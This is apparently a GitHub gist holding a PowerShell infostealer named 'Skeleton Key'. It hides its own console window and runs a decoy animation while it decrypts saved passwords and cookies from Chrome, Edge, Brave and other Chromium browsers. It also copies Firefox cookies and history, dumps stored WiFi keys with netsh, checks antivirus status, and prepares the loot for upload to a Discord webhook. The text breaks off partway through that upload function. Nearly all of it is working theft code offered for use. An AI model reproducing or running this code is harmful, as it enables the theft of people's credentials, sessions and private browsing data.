Created
July 25, 2026 23:21
-
-
Save Gravity3432/9e7dc3cdfc79de5b03f1d093b42d13a6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' | |
| $Script:TempDir = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $Script:SigFile = "$env:TEMP\sk_done.sig" | |
| $Script:OutDir = "$Script:TempDir\out" | |
| New-Item -ItemType Directory -Path $Script:OutDir -Force | Out-Null | |
| # remove stale signal from a previous run | |
| Remove-Item $Script:SigFile -Force -ErrorAction SilentlyContinue | |
| # ==================== 1. HIDE THIS WINDOW ==================== | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class SKHide { | |
| [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); | |
| [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); | |
| } | |
| '@ | |
| [SKHide]::ShowWindow([SKHide]::GetConsoleWindow(), 0) # SW_HIDE | |
| # ==================== 2. LAUNCH ANIMATION (SMOKESCREEN) ==================== | |
| $animBat = @' | |
| @echo off | |
| title SKELETON KEY | |
| setlocal enabledelayedexpansion | |
| set "sig=%TEMP%\sk_done.sig" | |
| :loop | |
| :: --- FRAME 1: bright green --- | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 2: dark green --- | |
| color 02 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 3: green BG flash --- | |
| color A0 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 4: bright green short flash --- | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo .-'''-. .-'''-. | |
| echo ' _ \ ' _ \ | |
| echo / /` '. \ / /` '. \ | |
| echo . | \ ' . | \ ' __.....__ | |
| echo | ' | '| ' | '.-'' '. | |
| echo .-'''-. \ \ / / \ \ / // .-''"'-. `. | |
| echo ' _ \ `. ` ..' / `. ` ..' // /________\ \ | |
| echo / /` '. \ '-...-'` '-...-'` | | | |
| echo . | \ ' \ .------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 5: black flash --- | |
| color 00 | |
| cls | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo * * * * * * * * * * * | |
| echo * * | |
| echo * SKELETON KEY * | |
| echo * * | |
| echo * * * * * * * * * * * | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 6: bright green restore --- | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 7: green bg again --- | |
| color A0 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| :: --- FRAME 8: dark green --- | |
| color 02 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. .-'''-. | |
| echo ' _ \ ' _ \ | |
| echo / /` '. \ / /` '. \ | |
| echo . | \ ' . | \ ' __.....__ | |
| echo | ' | '| ' | '.-'' '. | |
| echo .-'''-. \ \ / / \ \ / // .-''"'-. `. | |
| echo ' _ \ `. ` ..' / `. ` ..' // /________\ \ | |
| echo / /` '. \ '-...-'` '-...-'` | | | |
| echo . | \ ' \ .------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo. | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| goto loop | |
| '@ | |
| $animPath = "$Script:TempDir\anim.bat" | |
| [System.IO.File]::WriteAllText($animPath, $animBat) | |
| $animProc = Start-Process cmd.exe -ArgumentList "/c `"$animPath`"" -PassThru -WindowStyle Normal | |
| # ==================== 3. C# ADD-TYPE: WinSQLite3 ==================== | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class WinSQLite3 { | |
| public const int SQLITE_OK = 0; | |
| public const int SQLITE_ROW = 100; | |
| public const int SQLITE_DONE = 101; | |
| public const int SQLITE_INTEGER = 1; | |
| public const int SQLITE_FLOAT = 2; | |
| public const int SQLITE_TEXT = 3; | |
| public const int SQLITE_BLOB = 4; | |
| public const int SQLITE_NULL = 5; | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_open([MarshalAs(UnmanagedType.LPUTF8Str)] string filename, out IntPtr db); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_prepare_v2(IntPtr db, [MarshalAs(UnmanagedType.LPUTF8Str)] string sql, int nByte, out IntPtr stmt, out IntPtr pzTail); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_step(IntPtr stmt); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_count(IntPtr stmt); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_type(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_column_text(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_column_blob(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_bytes(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_int(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern double sqlite3_column_double(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_finalize(IntPtr stmt); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_close(IntPtr db); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_errmsg(IntPtr db); | |
| } | |
| '@ | |
| # ==================== 4. C# ADD-TYPE: BCrypt AES-GCM ==================== | |
| Add-Type -AssemblyName System.Security | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { | |
| public int cbSize; | |
| public int dwInfoVersion; | |
| public IntPtr pbNonce; | |
| public int cbNonce; | |
| public IntPtr pbAuthData; | |
| public int cbAuthData; | |
| public IntPtr pbTag; | |
| public int cbTag; | |
| public IntPtr pbMacContext; | |
| public int cbMacContext; | |
| public int cbAAD; | |
| public long cbData; | |
| public int dwFlags; | |
| } | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, byte[] pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptDestroyKey(IntPtr hKey); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags); | |
| } | |
| '@ | |
| # ==================== 5. HELPER FUNCTIONS ==================== | |
| function Query-SQLite { | |
| param([string]$DbPath, [string]$Query) | |
| $rows = @() | |
| $rc = [WinSQLite3]::sqlite3_open($DbPath, [ref]$db) | |
| if ($rc -ne 0) { return $rows } | |
| try { | |
| $rc = [WinSQLite3]::sqlite3_prepare_v2($db, $Query, -1, [ref]$stmt, [ref]$null) | |
| if ($rc -ne 0) { return $rows } | |
| try { | |
| $colCount = [WinSQLite3]::sqlite3_column_count($stmt) | |
| while ([WinSQLite3]::sqlite3_step($stmt) -eq [WinSQLite3]::SQLITE_ROW) { | |
| $row = @{} | |
| for ($i = 0; $i -lt $colCount; $i++) { | |
| $colType = [WinSQLite3]::sqlite3_column_type($stmt, $i) | |
| $colName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi([WinSQLite3]::sqlite3_column_text($stmt, $i)) | |
| if ($colType -eq [WinSQLite3]::SQLITE_TEXT) { | |
| $ptr = [WinSQLite3]::sqlite3_column_text($stmt, $i) | |
| $row[$colName] = if ($ptr -ne [IntPtr]::Zero) { [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ptr) } else { '' } | |
| } elseif ($colType -eq [WinSQLite3]::SQLITE_BLOB) { | |
| $len = [WinSQLite3]::sqlite3_column_bytes($stmt, $i) | |
| $buf = New-Object byte[] $len | |
| if ($len -gt 0) { | |
| $src = [WinSQLite3]::sqlite3_column_blob($stmt, $i) | |
| [System.Runtime.InteropServices.Marshal]::Copy($src, $buf, 0, $len) | |
| } | |
| $row[$colName] = $buf | |
| } elseif ($colType -eq [WinSQLite3]::SQLITE_INTEGER) { | |
| $row[$colName] = [WinSQLite3]::sqlite3_column_int($stmt, $i) | |
| } elseif ($colType -eq [WinSQLite3]::SQLITE_FLOAT) { | |
| $row[$colName] = [WinSQLite3]::sqlite3_column_double($stmt, $i) | |
| } else { | |
| $row[$colName] = $null | |
| } | |
| } | |
| $rows += $row | |
| } | |
| } finally { [WinSQLite3]::sqlite3_finalize($stmt) | Out-Null } | |
| } finally { [WinSQLite3]::sqlite3_close($db) | Out-Null } | |
| return $rows | |
| } | |
| function Get-ChromiumKey { | |
| param([string]$UserDataPath) | |
| $localStatePath = Join-Path $UserDataPath 'Local State' | |
| if (!(Test-Path $localStatePath)) { return $null } | |
| try { | |
| $localState = Get-Content $localStatePath -Raw -ErrorAction Stop | ConvertFrom-Json | |
| $b64Key = $localState.os_crypt.encrypted_key | |
| if (!$b64Key) { return $null } | |
| $encKey = [Convert]::FromBase64String($b64Key) | |
| if ($encKey.Length -le 5) { return $null } | |
| $encKey = $encKey[5..($encKey.Length-1)] | |
| return [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| } catch { return $null } | |
| } | |
| function Decrypt-ChromiumBlob { | |
| param([byte[]]$aesKey, [byte[]]$blob) | |
| if ($null -eq $blob -or $blob.Length -le 15) { return '' } | |
| $prefix = [System.Text.Encoding]::ASCII.GetString($blob[0..2]) | |
| if ($prefix -notmatch '^v1[0-9]$') { | |
| try { return [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } catch { return '' } | |
| } | |
| try { | |
| $nonce = [byte[]]($blob[3..14]) | |
| $ciphertext = [byte[]]($blob[15..($blob.Length - 17)]) | |
| $tag = [byte[]]($blob[($blob.Length - 16)..($blob.Length - 1)]) | |
| $algPtr = [IntPtr]::Zero | |
| $rc = [BCryptAES]::BCryptOpenAlgorithmProvider([ref]$algPtr, 'AES', $null, 0) | |
| if ($rc -ne 0) { return '' } | |
| try { | |
| [BCryptAES]::BCryptSetProperty($algPtr, 'ChainingMode', [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM'), [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM').Length, 0) | Out-Null | |
| $keyBuf = New-Object byte[] 32 | |
| $keyPtr = [IntPtr]::Zero | |
| [BCryptAES]::BCryptGenerateSymmetricKey($algPtr, [ref]$keyPtr, $keyBuf, $keyBuf.Length, $aesKey, $aesKey.Length, 0) | Out-Null | |
| try { | |
| $gcmInfo = New-Object BCryptAES+BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO | |
| $gcmInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($gcmInfo) | |
| $gcmInfo.dwInfoVersion = 1 | |
| $gcmInfo.pbNonce = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(12) | |
| [System.Runtime.InteropServices.Marshal]::Copy($nonce, 0, $gcmInfo.pbNonce, 12) | |
| $gcmInfo.cbNonce = 12 | |
| $gcmInfo.pbTag = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16) | |
| [System.Runtime.InteropServices.Marshal]::Copy($tag, 0, $gcmInfo.pbTag, 16) | |
| $gcmInfo.cbTag = 16 | |
| try { | |
| $outBuf = New-Object byte[] $ciphertext.Length | |
| $outLen = 0 | |
| $rc = [BCryptAES]::BCryptDecrypt($keyPtr, $ciphertext, $ciphertext.Length, [ref]$gcmInfo, $null, 0, $outBuf, $outBuf.Length, [ref]$outLen, 0) | |
| if ($rc -eq 0 -and $outLen -gt 0) { | |
| return [System.Text.Encoding]::UTF8.GetString($outBuf[0..($outLen-1)]) | |
| } | |
| } finally { | |
| [System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbNonce) | |
| [System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbTag) | |
| } | |
| } finally { [BCryptAES]::BCryptDestroyKey($keyPtr) | Out-Null } | |
| } finally { [BCryptAES]::BCryptCloseAlgorithmProvider($algPtr, 0) | Out-Null } | |
| } catch { return '' } | |
| return '' | |
| } | |
| function Convert-ChromiumTime { | |
| param([long]$microseconds) | |
| if ($microseconds -le 0) { return 'N/A' } | |
| try { return [DateTime]::FromFileTimeUtc($microseconds).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' } | |
| } | |
| function Convert-FirefoxTime { | |
| param([long]$microseconds) | |
| if ($microseconds -le 0) { return 'N/A' } | |
| try { return ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($microseconds / 1000000).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' } | |
| } | |
| function Get-FirefoxProfilePath { | |
| $ffDir = Join-Path $env:APPDATA 'Mozilla\Firefox\Profiles' | |
| if (!(Test-Path $ffDir)) { return $null } | |
| $profiles = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '\.default' -or $_.Name -match '\.default-release' } | |
| if ($profiles) { return $profiles[0].FullName } | |
| $allProf = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | |
| if ($allProf) { return $allProf[0].FullName } | |
| return $null | |
| } | |
| # ==================== 6. CHROMIUM BROWSER LIST ==================== | |
| $ChromiumBrowsers = @( | |
| @{Name='Chrome'; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"}, | |
| @{Name='Edge'; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}, | |
| @{Name='Brave'; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"}, | |
| @{Name='Opera'; Path="$env:APPDATA\Opera Software\Opera Stable"}, | |
| @{Name='Opera GX'; Path="$env:APPDATA\Opera Software\Opera GX Stable"}, | |
| @{Name='Vivaldi'; Path="$env:LOCALAPPDATA\Vivaldi\User Data"}, | |
| @{Name='Chromium'; Path="$env:LOCALAPPDATA\Chromium\User Data"}, | |
| @{Name='Yandex'; Path="$env:LOCALAPPDATA\Yandex\YandexBrowser\User Data"}, | |
| @{Name='360Browser'; Path="$env:LOCALAPPDATA\360Chrome\Chrome\User Data"}, | |
| @{Name='Comodo Dragon'; Path="$env:LOCALAPPDATA\Comodo\Dragon\User Data"}, | |
| @{Name='Epic'; Path="$env:LOCALAPPDATA\Epic Privacy Browser\User Data"}, | |
| @{Name='Iridium'; Path="$env:LOCALAPPDATA\Iridium\User Data"}, | |
| @{Name='Slimjet'; Path="$env:LOCALAPPDATA\Slimjet\User Data"}, | |
| @{Name='UR'; Path="$env:LOCALAPPDATA\UR Browser\User Data"}, | |
| @{Name='CocCoc'; Path="$env:LOCALAPPDATA\CocCoc\Browser\User Data"} | |
| ) | |
| function Get-ChromiumProfiles { | |
| param([string]$BasePath) | |
| $profiles = @() | |
| $defaultProfile = Join-Path $BasePath 'Default' | |
| if (Test-Path $defaultProfile) { $profiles += $defaultProfile } | |
| $num = 1 | |
| while (Test-Path (Join-Path $BasePath "Profile $num")) { | |
| $profiles += Join-Path $BasePath "Profile $num" | |
| $num++ | |
| } | |
| return $profiles | |
| } | |
| # ==================== 7. PASSWORD SCRAPER ==================== | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| $aesKey = Get-ChromiumKey -UserDataPath $UserDataPath | |
| if (!$aesKey) { return $out } | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $loginDb = Join-Path $profile 'Login Data' | |
| if (!(Test-Path $loginDb)) { continue } | |
| $tmpDb = "$Script:TempDir\pw_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop | |
| $rows = Query-SQLite $tmpDb "SELECT origin_url, username_value, password_value FROM logins" | |
| foreach ($r in $rows) { | |
| $pw = Decrypt-ChromiumBlob -aesKey $aesKey -blob $r['password_value'] | |
| if ($pw) { | |
| $out += [PSCustomObject]@{Url=$r['origin_url']; Username=$r['username_value']; Password=$pw} | |
| } | |
| } | |
| } catch {} | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 8. COOKIE SCRAPER ==================== | |
| function Get-ChromiumCookies { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| $aesKey = Get-ChromiumKey -UserDataPath $UserDataPath | |
| if (!$aesKey) { return $out } | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $cookieDb = Join-Path $profile 'Network\Cookies' | |
| if (!(Test-Path $cookieDb)) { $cookieDb = Join-Path $profile 'Cookies' } | |
| if (!(Test-Path $cookieDb)) { continue } | |
| $tmpDb = "$Script:TempDir\ck_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop | |
| $rows = Query-SQLite $tmpDb "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies" | |
| foreach ($r in $rows) { | |
| $val = Decrypt-ChromiumBlob -aesKey $aesKey -blob $r['encrypted_value'] | |
| $exp = if ($r['expires_utc'] -and $r['expires_utc'] -gt 0) { Convert-ChromiumTime ([long]$r['expires_utc']) } else { 'Session' } | |
| $out += [PSCustomObject]@{ | |
| Host = $r['host_key'] | |
| Name = $r['name'] | |
| Value = if ($val) { $val } else { '[empty]' } | |
| Path = $r['path'] | |
| Expires = $exp | |
| Secure = if ($r['is_secure']) { 'TRUE' } else { 'FALSE' } | |
| HttpOnly = if ($r['is_httponly']) { 'TRUE' } else { 'FALSE' } | |
| } | |
| } | |
| } catch {} | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 9. HISTORY SCRAPER (Chromium) ==================== | |
| function Get-ChromiumHistory { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $histDb = Join-Path $profile 'History' | |
| if (!(Test-Path $histDb)) { continue } | |
| $tmpDb = "$Script:TempDir\hi_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| Copy-Item $histDb $tmpDb -Force -ErrorAction Stop | |
| $rows = Query-SQLite $tmpDb "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500" | |
| foreach ($r in $rows) { | |
| $lastVisit = Convert-ChromiumTime ([long]$r['last_visit_time']) | |
| $out += [PSCustomObject]@{ | |
| Url = $r['url'] | |
| Title = $r['title'] | |
| Visits = $r['visit_count'] | |
| LastVisit = $lastVisit | |
| } | |
| } | |
| } catch {} | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 10. FIREFOX SCRAPERS ==================== | |
| function Get-FirefoxPasswords { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $loginsPath = Join-Path $ffProfile 'logins.json' | |
| if (!(Test-Path $loginsPath)) { return @() } | |
| try { | |
| $loginsJson = Get-Content $loginsPath -Raw -ErrorAction Stop | ConvertFrom-Json | |
| $out = @() | |
| foreach ($login in $loginsJson.logins) { | |
| $out += [PSCustomObject]@{Url=$login.hostname; Username=$login.encryptedUsername; Password='[NSS encrypted - needs live decryption]'} | |
| } | |
| return $out | |
| } catch { return @() } | |
| } | |
| function Get-FirefoxCookies { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $cookieDb = Join-Path $ffProfile 'cookies.sqlite' | |
| if (!(Test-Path $cookieDb)) { return @() } | |
| $tmpDb = "$Script:TempDir\ff_cookies.db" | |
| try { | |
| Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop | |
| $rows = Query-SQLite $tmpDb "SELECT host, name, value, path, expiry, isSecure, isHttpOnly FROM moz_cookies ORDER BY expiry DESC LIMIT 1000" | |
| $out = @() | |
| foreach ($r in $rows) { | |
| $exp = if ($r['expiry'] -and $r['expiry'] -gt 0) { Convert-FirefoxTime ([long]$r['expiry']) } else { 'Session' } | |
| $out += [PSCustomObject]@{ | |
| Host = $r['host'] | |
| Name = $r['name'] | |
| Value = if ($r['value']) { $r['value'] } else { '[empty]' } | |
| Path = $r['path'] | |
| Expires = $exp | |
| Secure = if ($r['isSecure']) { 'TRUE' } else { 'FALSE' } | |
| HttpOnly = if ($r['isHttpOnly']) { 'TRUE' } else { 'FALSE' } | |
| } | |
| } | |
| return $out | |
| } catch { return @() } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| function Get-FirefoxHistory { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $placesDb = Join-Path $ffProfile 'places.sqlite' | |
| if (!(Test-Path $placesDb)) { return @() } | |
| $tmpDb = "$Script:TempDir\ff_history.db" | |
| try { | |
| Copy-Item $placesDb $tmpDb -Force -ErrorAction Stop | |
| $rows = Query-SQLite $tmpDb "SELECT url, title, visit_count, last_visit_date FROM moz_places ORDER BY last_visit_date DESC LIMIT 500" | |
| $out = @() | |
| foreach ($r in $rows) { | |
| $lastVisit = Convert-FirefoxTime ([long]$r['last_visit_date']) | |
| $out += [PSCustomObject]@{ | |
| Url = $r['url'] | |
| Title = $r['title'] | |
| Visits = $r['visit_count'] | |
| LastVisit = $lastVisit | |
| } | |
| } | |
| return $out | |
| } catch { return @() } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| # ==================== 11. WIFI + AV ==================== | |
| function Get-WiFi { | |
| $out = @() | |
| $profiles = netsh wlan show profiles | Select-String ':\s+(.+)$' | ForEach-Object { $_.Matches.Groups[1].Value } | |
| foreach ($ssid in $profiles) { | |
| try { | |
| $detail = netsh wlan show profile name="$ssid" key=clear | Select-String 'Key Content\s+:\s+(.+)$' | |
| $key = if ($detail) { $detail.Matches.Groups[1].Value } else { '[OPEN]' } | |
| $out += [PSCustomObject]@{SSID=$ssid; Password=$key} | |
| } catch {} | |
| } | |
| return $out | |
| } | |
| function Get-AVInfo { | |
| try { | |
| $av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | |
| if ($av) { | |
| return ($av | ForEach-Object { "$($_.displayName) (State: $($_.productState))" }) -join " | " | |
| } | |
| } catch {} | |
| try { | |
| $status = Get-MpComputerStatus -ErrorAction SilentlyContinue | |
| if ($status) { return "Windows Defender (RealTime: $($status.RealTimeProtectionEnabled))" } | |
| } catch {} | |
| return 'Unknown / Not detected' | |
| } | |
| # ==================== 12. DISCORD UPLOAD ==================== | |
| function Send-ToDiscord { | |
| param([string]$FilePath, [string]$Description) | |
| if (!(Test-Path $FilePath)) { return } | |
| $boundary = [Guid]::NewGuid().ToString() | |
| $lf = "`r`n" | |
| $bodyStart = @" | |
| --$boundary | |
| Content-Disposition: form-data; name="payload_json" | |
| {"content":"**SKELETON KEY** — $Description","username":"Skeleton Key"} | |
| --$boundary | |
| Content-Disposition: form-data; name="file"; filename="$(Split-Path $FilePath -Leaf)" | |
| "@ | |
| $bodyEnd = "$lf--$boundary--$lf" | |
